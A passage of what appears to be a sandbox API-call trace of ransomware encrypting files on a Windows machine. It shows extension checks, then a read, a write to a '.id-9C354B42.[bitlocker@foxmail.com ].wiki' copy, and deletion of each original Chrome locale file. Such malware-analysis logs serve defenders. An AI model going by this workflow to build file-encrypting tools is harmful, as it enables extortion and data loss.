[0175.378] lstrlenW (lpString=".doc") returned 4 [0175.378] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.378] lstrlenW (lpString=".docx") returned 5 [0175.378] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.378] lstrlenW (lpString=".pdf") returned 4 [0175.378] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.378] lstrlenW (lpString=".xls") returned 4 [0175.378] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.378] lstrlenW (lpString=".xlsx") returned 5 [0175.378] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.378] lstrlenW (lpString=".ppt") returned 4 [0175.378] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.379] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json") returned 151 [0175.379] lstrlenW (lpString=".zip") returned 4 [0175.379] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.379] lstrlenW (lpString=".rar") returned 4 [0175.379] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.379] lstrlenW (lpString=".bz2") returned 4 [0175.379] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.379] lstrlenW (lpString=".7z") returned 3 [0175.379] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.379] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json") returned 151 [0175.379] lstrlenW (lpString=".dbf") returned 4 [0175.379] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.379] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json") returned 151 [0175.379] lstrlenW (lpString=".1cd") returned 4 [0175.379] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.379] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json") returned 151 [0175.379] lstrlenW (lpString=".jpg") returned 4 [0175.379] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.379] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json") returned 151 [0175.379] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json") returned 151 [0175.379] lstrlenW (lpString=".doc") returned 4 [0175.379] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.379] lstrlenW (lpString=".docx") returned 5 [0175.379] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.379] lstrlenW (lpString=".pdf") returned 4 [0175.379] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.379] lstrlenW (lpString=".xls") returned 4 [0175.380] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.380] lstrlenW (lpString=".xlsx") returned 5 [0175.380] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.380] lstrlenW (lpString=".ppt") returned 4 [0175.380] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.380] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json") returned 151 [0175.380] lstrlenW (lpString=".zip") returned 4 [0175.380] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.380] lstrlenW (lpString=".rar") returned 4 [0175.380] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.380] lstrlenW (lpString=".bz2") returned 4 [0175.380] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.380] lstrlenW (lpString=".7z") returned 3 [0175.380] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.380] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json") returned 151 [0175.380] lstrlenW (lpString=".dbf") returned 4 [0175.380] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.380] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json") returned 151 [0175.380] lstrlenW (lpString=".1cd") returned 4 [0175.380] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.380] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json") returned 151 [0175.380] lstrlenW (lpString=".jpg") returned 4 [0175.380] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.381] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.381] lstrlenW (lpString="messages.json") returned 13 [0175.381] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.381] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=266) returned 1 [0175.381] CloseHandle (hObject=0x19c) returned 1 [0175.381] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json")) returned 0x2020 [0175.381] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.381] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.382] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.382] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.382] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.382] GetLastError () returned 0x0 [0175.382] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x10a, lpOverlapped=0x0) returned 1 [0175.383] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x110, lpOverlapped=0x0) returned 1 [0175.384] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.384] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.384] SetEndOfFile (hFile=0x2dc) returned 1 [0175.384] CloseHandle (hObject=0x2dc) returned 1 [0175.384] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.384] SetEndOfFile (hFile=0x19c) returned 1 [0175.385] CloseHandle (hObject=0x19c) returned 1 [0175.385] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.385] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json")) returned 1 [0175.386] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json") returned 151 [0175.386] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json") returned 151 [0175.386] lstrlenW (lpString=".doc") returned 4 [0175.386] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.386] lstrlenW (lpString=".docx") returned 5 [0175.386] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.386] lstrlenW (lpString=".pdf") returned 4 [0175.386] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.386] lstrlenW (lpString=".xls") returned 4 [0175.386] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.386] lstrlenW (lpString=".xlsx") returned 5 [0175.386] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.386] lstrlenW (lpString=".ppt") returned 4 [0175.386] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.386] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json") returned 151 [0175.386] lstrlenW (lpString=".zip") returned 4 [0175.386] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.386] lstrlenW (lpString=".rar") returned 4 [0175.386] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.386] lstrlenW (lpString=".bz2") returned 4 [0175.386] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.386] lstrlenW (lpString=".7z") returned 3 [0175.386] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.386] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json") returned 151 [0175.386] lstrlenW (lpString=".dbf") returned 4 [0175.387] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.387] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json") returned 151 [0175.387] lstrlenW (lpString=".1cd") returned 4 [0175.387] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.387] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json") returned 151 [0175.387] lstrlenW (lpString=".jpg") returned 4 [0175.387] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.387] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json") returned 151 [0175.387] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json") returned 151 [0175.387] lstrlenW (lpString=".doc") returned 4 [0175.387] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.387] lstrlenW (lpString=".docx") returned 5 [0175.387] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.387] lstrlenW (lpString=".pdf") returned 4 [0175.387] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.387] lstrlenW (lpString=".xls") returned 4 [0175.387] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.387] lstrlenW (lpString=".xlsx") returned 5 [0175.387] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.387] lstrlenW (lpString=".ppt") returned 4 [0175.387] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.387] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json") returned 151 [0175.387] lstrlenW (lpString=".zip") returned 4 [0175.387] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.387] lstrlenW (lpString=".rar") returned 4 [0175.387] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.387] lstrlenW (lpString=".bz2") returned 4 [0175.387] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.388] lstrlenW (lpString=".7z") returned 3 [0175.388] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.388] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json") returned 151 [0175.388] lstrlenW (lpString=".dbf") returned 4 [0175.388] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.388] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json") returned 151 [0175.388] lstrlenW (lpString=".1cd") returned 4 [0175.388] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.388] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json") returned 151 [0175.388] lstrlenW (lpString=".jpg") returned 4 [0175.388] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.388] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.388] lstrlenW (lpString="messages.json") returned 13 [0175.388] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.388] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=225) returned 1 [0175.389] CloseHandle (hObject=0x19c) returned 1 [0175.389] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json")) returned 0x2020 [0175.389] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.389] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.389] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.389] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.389] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.389] GetLastError () returned 0x0 [0175.390] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xe1, lpOverlapped=0x0) returned 1 [0175.390] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0175.391] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.391] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.391] SetEndOfFile (hFile=0x2dc) returned 1 [0175.392] CloseHandle (hObject=0x2dc) returned 1 [0175.392] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.392] SetEndOfFile (hFile=0x19c) returned 1 [0175.393] CloseHandle (hObject=0x19c) returned 1 [0175.393] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.393] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json")) returned 1 [0175.393] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json") returned 151 [0175.393] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json") returned 151 [0175.393] lstrlenW (lpString=".doc") returned 4 [0175.393] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.393] lstrlenW (lpString=".docx") returned 5 [0175.393] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.393] lstrlenW (lpString=".pdf") returned 4 [0175.393] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.393] lstrlenW (lpString=".xls") returned 4 [0175.393] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.393] lstrlenW (lpString=".xlsx") returned 5 [0175.393] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.393] lstrlenW (lpString=".ppt") returned 4 [0175.393] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.393] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json") returned 151 [0175.393] lstrlenW (lpString=".zip") returned 4 [0175.393] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.394] lstrlenW (lpString=".rar") returned 4 [0175.394] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.394] lstrlenW (lpString=".bz2") returned 4 [0175.394] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.394] lstrlenW (lpString=".7z") returned 3 [0175.394] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.394] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json") returned 151 [0175.394] lstrlenW (lpString=".dbf") returned 4 [0175.394] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.394] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json") returned 151 [0175.394] lstrlenW (lpString=".1cd") returned 4 [0175.394] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.394] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json") returned 151 [0175.394] lstrlenW (lpString=".jpg") returned 4 [0175.394] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.394] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json") returned 151 [0175.394] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json") returned 151 [0175.394] lstrlenW (lpString=".doc") returned 4 [0175.394] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.394] lstrlenW (lpString=".docx") returned 5 [0175.394] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.394] lstrlenW (lpString=".pdf") returned 4 [0175.394] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.394] lstrlenW (lpString=".xls") returned 4 [0175.394] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.394] lstrlenW (lpString=".xlsx") returned 5 [0175.394] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.394] lstrlenW (lpString=".ppt") returned 4 [0175.394] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.394] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json") returned 151 [0175.395] lstrlenW (lpString=".zip") returned 4 [0175.395] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.395] lstrlenW (lpString=".rar") returned 4 [0175.395] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.395] lstrlenW (lpString=".bz2") returned 4 [0175.395] lstrcmpiW 